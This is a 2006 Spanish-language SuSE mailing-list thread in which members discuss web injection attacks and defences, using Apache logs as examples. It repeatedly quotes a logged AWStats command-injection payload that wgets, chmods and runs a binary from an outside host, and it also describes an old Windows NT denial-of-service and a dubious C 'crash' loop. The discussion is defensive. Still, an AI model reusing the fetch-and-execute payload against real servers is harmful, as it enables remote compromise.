-- Para dar de baja la suscripción, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
El 02/06/2006 0:17:46 miguel gmail escribió: miguel.listas> > miguel.listas> > Aunque este no sea el lugar: miguel.listas> miguel.listas> oh si, si lo es. En un sentido muy amplio y partiendo de la base de que un sistema en SuSE también puede resultar afectado. :-) miguel.listas> miguel.listas> Esa es la famosa inyección sql, no? Pero... como se inyecta? Efectivamente este es el ejemplo de la inyección SQL "original". Desde entonces se he mejorado mucho (en parir inyecciones digo) Se inyectaba en cualquier campo HTML o de formulario y/o script PHP que se validara contra una base SQL. Es decir en el tipico formulario que te pide el login y el password. miguel.listas> - metodo post miguel.listas> - metodo get miguel.listas> miguel.listas> Uno de estos, no recuerdo cual, usaba la url para pasar los miguel.listas> parámetros. Si, las inyecciones actuales se basan casi exclusivamente en el método GET. Un ejemplo del access_log de Apache: 61.178.21.179 - - [20/May/2006:23:58:23 +0200] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20131%2e220%2e92%2e80%2fcacat%3bchmod%20%2bx%20cacat%3b%2e%2fcacat%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 1036 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" Esta inyección intenta aprovechar un error del programa estadístico AWSTATS (escrito en Perl, no en PHP) que mediante el "wget" del servidor intenta entrar código malicioso en la máquina bajándolo de la URL http://131.220.92.80/cacat/ Luego hara un chmod a 744 del directorio creado y luego a ejecutar .... El otro método, hablando muy de memoria, usaba variables miguel.listas> de sesión Este es el POST, no es frecuente pero también se pueden enviar inyecciones por él miguel.listas> sql? O lo son los dos? Los dos, pero el más frecuente es el GET He buscado si tenían algún ejemplo con POST, pero no encuentro ninguno. Como mucho un testeo: 61.178.21.179 - - [20/May/2006:23:58:33 +0200] "POST /drupal/xmlrpc.php HTTP/1.1" 400 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" El gusano busca si drupal está instalado. Al no estarlo (respuesta 400) se acaba la sesión. Si la respuesta hubiera sido positiva (código 200 de Apache) entonces hubiera intentado inyectar el Exploid para drupal miguel.listas> Vale, entonces, que tendría que hacer el programador para evitar esto? Sabiendo que al Desarrollador se le pasó el detalle tendría que filtrar el formulario para suprimir las comillas o bien pasarlas todas al mismo tipo (con lo que el OR no formaría parte de la cadena. El ejemplo del AWSTATS es un ejemplo típico de como se hacen las inyecciones. Es típico en todo excepto en que se trata de un programa escrito en Perl, que son víctimas muy poco frecuentes, ya que lo normal es que sean programas escritos en PHP. Digo que es típico porque el 90% de este tipo de basura se basa siempre en hacer una llamada a una URL donde esta el código malicioso y bajarlo a la máquina víctima con el "wget" de la propia víctima mediante el usuario Apache. Dicho de otra manera, en positivo, el 90% de los ataques se pueden frustar con algo tan simple como renombrar "wget" . [MODO AGRADECIMIENTO ON] Gracias Camaleón por tu consejo, no lo olvidaré nunca =:''-) [MODO AGRADECIMIENTO OFF] También se pueden frustar impidiendo que el script PHP haga conexiones externas al servidor con GET. Algo tan sencillo como empezar el script con algo como eso: $bug = strpos($basepath,"http"); if ($bug === false) { AQUI EL PROGRAMA else } Aquí el "premio" para el hacker. -- Saludos, Josep M. Queralt
En un sentido muy amplio y partiendo de la base de que un sistema en SuSE también puede resultar afectado. :-)
Bueno, hay una lista de seguridad, pero está en ingles (tb estoy suscrito a ella). Nos sentimos mas comodos hablando en castellano, y la seguridad es informatica, y como no tenemos otro sitio de donde hablar de informatica... pues eso. Que yo he sacado OTs mucho peores :D
miguel.listas> miguel.listas> Esa es la famosa inyección sql, no? Pero... como se inyecta?
Efectivamente este es el ejemplo de la inyección SQL "original". Desde entonces se he mejorado mucho (en parir inyecciones digo)
Se inyectaba en cualquier campo HTML o de formulario y/o script PHP que se validara contra una base SQL. Es decir en el tipico formulario que te pide el login y el password.
miguel.listas> - metodo post miguel.listas> - metodo get miguel.listas> miguel.listas> Uno de estos, no recuerdo cual, usaba la url para pasar los miguel.listas> parámetros.
Si, las inyecciones actuales se basan casi exclusivamente en el método GET.
Claro, con get se puede analizar la url que se pasa a la siguiente página, con lo que se puede construir una url según las necesidades del atacante.
Un ejemplo del access_log de Apache:
61.178.21.179 - - [20/May/2006:23:58:23 +0200] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20131%2e220%2e92%2e80%2fcacat%3bchmod%20%2bx%20cacat%3b%2e%2fcacat%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 1036 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
ichs! aunque cojo la idea, me pierdo con tanto %
Esta inyección intenta aprovechar un error del programa estadístico AWSTATS (escrito en Perl, no en PHP) que mediante el "wget" del servidor intenta entrar código malicioso en la máquina bajándolo de la URL http://131.220.92.80/cacat/ Luego hara un chmod a 744 del directorio creado y luego a ejecutar ....
ejem, y esa IP, se supone que es la del atacante? (o un zombie, dado el caso)
El otro método, hablando muy de memoria, usaba variables miguel.listas> de sesión
Este es el POST, no es frecuente pero también se pueden enviar inyecciones por él
Claro, al fin y al cabo, podrá ejecutar la misma sql en el servidor. Sólo habría que estudiar como hace el 'submit' del formulario, supongo.
miguel.listas> sql? O lo son los dos?
Los dos, pero el más frecuente es el GET
He buscado si tenían algún ejemplo con POST, pero no encuentro ninguno. Como mucho un testeo: 61.178.21.179 - - [20/May/2006:23:58:33 +0200] "POST /drupal/xmlrpc.php HTTP/1.1" 400 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
El gusano busca si drupal está instalado. Al no estarlo (respuesta 400) se acaba la sesión. Si la respuesta hubiera sido positiva (código 200 de Apache) entonces hubiera intentado inyectar el Exploid para drupal
Vale vale, dichosos script kiddies... eso no es ni hackear ni crackear ni na de na... Hace tiempo estuve buscando herramientas para montarme un blog. Entre las candidatas estaba el Drupal, el post nuke, el word press... hay alguno considerado 'seguro'?
miguel.listas> Vale, entonces, que tendría que hacer el programador para evitar esto?
Sabiendo que al Desarrollador se le pasó el detalle tendría que filtrar el formulario para suprimir las comillas o bien pasarlas todas al mismo tipo (con lo que el OR no formaría parte de la cadena.
El ejemplo del AWSTATS es un ejemplo típico de como se hacen las inyecciones. Es típico en todo excepto en que se trata de un programa escrito en Perl, que son víctimas muy poco frecuentes, ya que lo normal es que sean programas escritos en PHP.
Digo que es típico porque el 90% de este tipo de basura se basa siempre en hacer una llamada a una URL donde esta el código malicioso y bajarlo a la máquina víctima con el "wget" de la propia víctima mediante el usuario Apache.
Dicho de otra manera, en positivo, el 90% de los ataques se pueden frustar con algo tan simple como renombrar "wget" .
Pues no lo había pensado... pero si es efectivo, si.
[MODO AGRADECIMIENTO ON] Gracias Camaleón por tu consejo, no lo olvidaré nunca =:''-) [MODO AGRADECIMIENTO OFF]
uy uy uy uy, cuanto secretitoooo! :P
También se pueden frustar impidiendo que el script PHP haga conexiones externas al servidor con GET. Algo tan sencillo como empezar el script con algo como eso:
$bug = strpos($basepath,"http"); if ($bug === false) {
AQUI EL PROGRAMA
else }
Aquí el "premio" para el hacker.
JA! Y qué cosas se le hacen? Cual es la costumbre? Este mail convalida por un cuatrimestre de seguridad informática. Cae en el próximo examen... pero seguro. Está siendo MUY instructivo. Muchas gracias por la leccion" -- Saludos, miguel -- Para dar de baja la suscripción, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
61.178.21.179 - - [20/May/2006:23:58:23 +0200] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20131%2e220%2e92%2e80%2fcacat%3bchmod%20%2bx%20cacat%3b%2e%2fcacat%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 1036 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
ichs! aunque cojo la idea, me pierdo con tanto %
Lo más importante es que Apache devuelve el código 404, es decir, "página no encontrada", "not found" :-))
ejem, y esa IP, se supone que es la del atacante? (o un zombie, dado el caso)
La IP atacante es la primera, la 61.178.21.179. La segunda, 131.220.92.80 es la que contiene el código del exploid y las herramientas para "hackear" la máquina víctima. La segunda acostumbra a estar en servidores gratuitos, tipo Terra de Brasil (a los que si escribes indicando la URL del código vírico no te hacen ni puto caso y también en ordenadores "zombies" cuyos dueños ni se enteran. Los hay en escuelas de China, conexiones por cable de Francia y una de las últimas que encontré era la web de una empresa que se decía especializada en seguridad informática. En esta me quedó la duda de si eran unos ineptos o de si estaban ampliando el mercado de clientes.
El gusano busca si drupal está instalado. Al no estarlo (respuesta 400) se acaba la sesión. Si la respuesta hubiera sido positiva (código 200 de Apache) entonces hubiera intentado inyectar el Exploid para drupal
Vale vale, dichosos script kiddies... eso no es ni hackear ni crackear ni na de na...
Es que la mayoría son "gusanos", los "worms" en inglés. Bichitos que andan sueltos por la red a la busca de incautos.
Hace tiempo estuve buscando herramientas para montarme un blog. Entre las candidatas estaba el Drupal, el post nuke, el word press... hay alguno considerado 'seguro'?
Se lo decía hace muy poco a Victor Hugo, no hay nada seguro en esta vida. :-) Para mi gusto el menos inseguro es Mambo, más que nada por el ".htacces" que lleva y que es una versión "apache" del código PHP de mi anterior mensage. Da algunos problemas pero impide aquella cadena fatídica del "log" que ponía, también, en mi mensaje anterior. Haber, es esta: ---- File .htacces ---- RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*) index.php ----- End File -----
[MODO AGRADECIMIENTO ON] Gracias Camaleón por tu consejo, no lo olvidaré nunca =:''-) [MODO AGRADECIMIENTO OFF]
uy uy uy uy, cuanto secretitoooo! :P
Que va, se publicó en la lista, creo que sobre Octubre-Noviembre del año pasado. 0=:-) A mi tampoco se me había ocurrido, a Camaleón si, de ahí el agradecimiento. =:''-)
else }
Aquí el "premio" para el hacker.
JA! Y qué cosas se le hacen? Cual es la costumbre?
Yo los reenvio a la oficina de denuncias de delitos informaticos de la Guardia Civil con un mensaje diciéndoles que su IP ha sido grabada. http://194.179.107.38/colabora.php
Este mail convalida por un cuatrimestre de seguridad informática. Cae en el próximo examen... pero seguro.
Mucho me temo que no. Yo no tengo estudios de informática, es más, yo soy de letras. :-) -- Salutacions - Saludos, Josep M. Queralt
61.178.21.179 - - [20/May/2006:23:58:23 +0200] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20131%2e220%2e92%2e80%2fcacat%3bchmod%20%2bx%20cacat%3b%2e%2fcacat%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 1036 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
ichs! aunque cojo la idea, me pierdo con tanto %
Lo más importante es que Apache devuelve el código 404, es decir, "página no encontrada", "not found" :-))
La IP atacante es la primera, la 61.178.21.179. La segunda, 131.220.92.80 es la que contiene el código del exploid y las herramientas para "hackear" la máquina víctima.
ahá, como lo imaginaba.
La segunda acostumbra a estar en servidores gratuitos, tipo Terra de Brasil (a los que si escribes indicando la URL del código vírico no te hacen ni puto caso y también en ordenadores "zombies" cuyos dueños ni se enteran. Los hay en escuelas de China, conexiones por cable de Francia y una de las últimas que encontré era la web de una empresa que se decía especializada en seguridad informática. En esta me quedó la duda de si eran unos ineptos o de si estaban ampliando el mercado de clientes.
Lo habitual. Si, esto lo conocía.
Se lo decía hace muy poco a Victor Hugo, no hay nada seguro en esta vida. :-)
Para mi gusto el menos inseguro es Mambo, más que nada por el ".htacces" que lleva y que es una versión "apache" del código PHP de mi anterior mensage. Da algunos problemas pero impide aquella cadena fatídica del "log" que ponía, también, en mi mensaje anterior.
me lo apunto
Haber, es esta:
<modo broma on> !!!!!!! de letras y pones "haber" así!!!!! <modo broma off>
---- File .htacces ----
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*) index.php
----- End File -----
Este mail convalida por un cuatrimestre de seguridad informática. Cae en el próximo examen... pero seguro.
Mucho me temo que no. Yo no tengo estudios de informática, es más, yo soy de letras. :-)
bueno, ni yo. Yo soy de ciencias y mira donde estamos :D que levanten la mano en esta lista quien sea informático por estudios. -- Saludos, miguel -- Para dar de baja la suscripción, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
<modo broma on> !!!!!!! de letras y pones "haber" así!!!!! <modo broma off>
Seguro que es cosa del nuevo Estatuto. Con lo de la poligamia hago traducciones literales y luego pasa lo que pasa. De todas maneras, no te quejas, en inglés aún se me entiende peor. -- Salutacions - Saludos, Josep M. Queralt
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 El 2006-06-01 a las 21:07 +0200, Josep M. Queralt escribió:
De quien es la culpa de que no se validen correctamente las comillas ? Del programdor de la aplicación, del desarrollador de PHP o del de SQL ?????
Personalmente creo que son culpas compartidas, aunque en general es más del programador.
Pues yo diría que la culpa es del diseñador de la api, que obliga a escribir las consultas con comillas potencialmente vulnerables. Ahora, ¡vete tu ahora a cambiar el lenguaje sql! - -- Saludos Carlos Robinson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) Comment: Made with pgp4pine 1.76 iD8DBQFEgLRBtTMYHG2NR9URAqQxAJsG4Dkpm2tE3WrfZQHxyehekcCbHQCeN49m g/xg6voPUZ8YaW6h6U7h9RA= =HV97 -----END PGP SIGNATURE----- -- Para dar de baja la suscripci�n, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
El 01/06/2006 15:57:10 Carlos E. R. escribió: robin.listas> > Años atrás había un sistema muy curioso (y lo admito, también divertido) robin.listas> > para hacer caer servidores basados en Windows NT. Consistía en llamar al robin.listas> > servidor NT y decirle que se le iba a enviar un fichero muy grande y robin.listas> > luego enviarle unos pocos bits cada minuto. El NT reservaba memoria robin.listas> > suficiente para recibir el hipotético fichero y desatendía los otros robin.listas> > procesos, hasta que, finalmente se caía. robin.listas> robin.listas> ¡Ondiá! X'-) robin.listas> robin.listas> ¿Que servidor, el de ficheros de windows? Sip. cualquier servidor sobre Windows NT. La reserva de memoria NO era dinámica. -- Saludos, Josep M. Queralt
El 1/06/06, Josep M. Queralt
El 01/06/2006 15:57:10 Carlos E. R. escribió:
[...]
robin.listas> robin.listas> ¿Que servidor, el de ficheros de windows?
Sip. cualquier servidor sobre Windows NT. La reserva de memoria NO era dinámica.
ahora en el windows vista, iran a cambiar esto y implementar ASLR activado por defecto...mm.. ya era hora !!! http://www.hispasec.com/unaaldia/2776 salu2 -- -- Victor Hugo dos Santos Linux Counter #224399 -- Para dar de baja la suscripción, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
Hola :) El Jueves, 1 de Junio de 2006 15:41, Josep M. Queralt escribió: [...]
A�os atr�s hab�a un sistema muy curioso (y lo admito, tambi�n divertido) para hacer caer servidores basados en Windows NT. Consist�a en llamar al servidor NT y decirle que se le iba a enviar un fichero muy grande y luego enviarle unos pocos bits cada minuto. El NT reservaba memoria suficiente para recibir el hipot�tico fichero y desatend�a los otros procesos, hasta que, finalmente se ca�a.
Si alguien tiene curiosidad, que compile lo siguiente en un MS-Windows y que nos diga lo que aguanta (el MS-Windows ;): main() { for (;;) print ("\t\b\b"); } Si mal no recuerdo, éste es el código. Si me equivoco, que alguien me corrija (seguro que me faltan paréntesis o algo) que hace tanto que no escribo una línea de código que hay veces que creo que lo he soñado ;) Para los que tienen curiosidad, lo que hace el código es "pintar" un tabulador y borra dos veces hacia atrás. Esto lo que te permite es ver si un sistema operativo tiene implementado protección de memoria y separación entre kernel y usuario. Si no hay ninguna de las dos cosas, llegará un momento que el programa "borre" el kernel de memoria ... y se cuelga. Yo llegué a probar esto en un MS-Windows 2k y cayó a los pocos segundos. Lo he probado en diferentes Linux y Unix y lo que ocurre es que el proceso consume mucha CPU, pero no llega a tumbar la máquina. HTH Rafa -- "Even paranoids have enemies." Rafa Grimán Systems Engineer Silicon Graphics Spain Santa Engracia, 120 - Planta Baja 28003 Madrid Spain Tel: +34 91 3984200 Tel: +34 91 3984201 Móvil: +34 628 117 940 http://www.sgi.com OpenWengo: rgriman Skype: rgriman -- 50% of all statistics are inaccurate. OpenWengo: rgriman -- Para dar de baja la suscripci�n, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 El 2006-06-01 a las 18:14 +0200, Rafa Grimán escribió:
Si alguien tiene curiosidad, que compile lo siguiente en un MS-Windows y que nos diga lo que aguanta (el MS-Windows ;):
main() { for (;;) print ("\t\b\b"); }
Si mal no recuerdo, éste es el código. Si me equivoco, que alguien me corrija (seguro que me faltan paréntesis o algo) que hace tanto que no escribo una línea de código que hay veces que creo que lo he soñado ;)
Para los que tienen curiosidad, lo que hace el código es "pintar" un tabulador y borra dos veces hacia atrás. Esto lo que te permite es ver si un sistema operativo tiene implementado protección de memoria y separación entre kernel y usuario. Si no hay ninguna de las dos cosas, llegará un momento que el programa "borre" el kernel de memoria ... y se cuelga.
Ostras. ¡Pero bueno! Si, vale, en MsDos y heredados los procesos no están protegidos entre sí y un proceso puede leer ('y escribir!) la memoria de otro, eso es sabido. Pero es que antes de eso, el proceso que controla la pantalla - al cual accedemos por un "print", ni siquiera estamos haciendo una "burrada" como escribir directamente en memoria de pantalla (como es muy habitual en msdos) - cuando borra o escribe debe comprobar en qué punto de la pantalla se encuentra para desplazar el cursor. Si está en la posición 0,0 no se puede ir hacia atrás, punto pelota. Fallo garrafal del programador(es) del sistema que no hacen esa verificación...
Yo llegué a probar esto en un MS-Windows 2k y cayó a los pocos segundos.
Interesante saberlo. Me gustaría saber que pasa en un msdos... pero creo que nada, o me hubiera enterado en su dia.
Lo he probado en diferentes Linux y Unix y lo que ocurre es que el proceso consume mucha CPU, pero no llega a tumbar la máquina.
Mmmm.... tengo un dosemu por ahí... mmmm... no se si me atreveré. - -- Saludos Carlos Robinson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) Comment: Made with pgp4pine 1.76 iD8DBQFEfyRitTMYHG2NR9URAlMzAJ0eKToeRgzhtef6CcLqqlG0UCw6LgCdEE7s ET2fHddK1yWJG4Y7Q4CvCAE= =zhiv -----END PGP SIGNATURE----- -- Para dar de baja la suscripci�n, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
participants (6)
-
Carlos E. R. -
Josep M. Queralt -
jpb -
miguel gmail -
Rafa Grimán -
Victor Hugo dos Santos